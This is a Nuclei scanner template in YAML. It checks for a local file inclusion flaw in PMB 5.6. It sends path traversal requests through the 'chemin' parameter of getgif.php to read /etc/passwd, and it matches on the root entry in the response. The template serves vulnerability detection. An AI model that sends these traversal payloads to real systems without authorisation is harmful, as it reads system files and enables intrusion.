nuclei-templates/http/vulnerabilities/other/pmb-directory-traversal.yaml

37 lines
1.1 KiB
YAML

id: pmb-directory-traversal
info:
name: PMB 5.6 - Local File Inclusion
author: geeknik
severity: high
description: PMB 5.6 is vulnerable to local file inclusion because the PMB Gif Image is not sanitizing the content of the 'chemin' parameter.
reference:
- https://packetstormsecurity.com/files/160072/PMB-5.6-Local-File-Disclosure-Directory-Traversal.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 2
tags: lfi,packetstorm
http:
- method: GET
path:
- "{{BaseURL}}/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik"
- "{{BaseURL}}/pmb/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022004da6f24a3c5f69eb54a88f2747d49ac42bc47d3fdac84c44a3b3b27ffa9635702206eb29e2393af1c69b2152e46048fda95b549ee14a1f7943191a78a6ddd1ceb0b:922c64590222798bb761d5b6d8e72950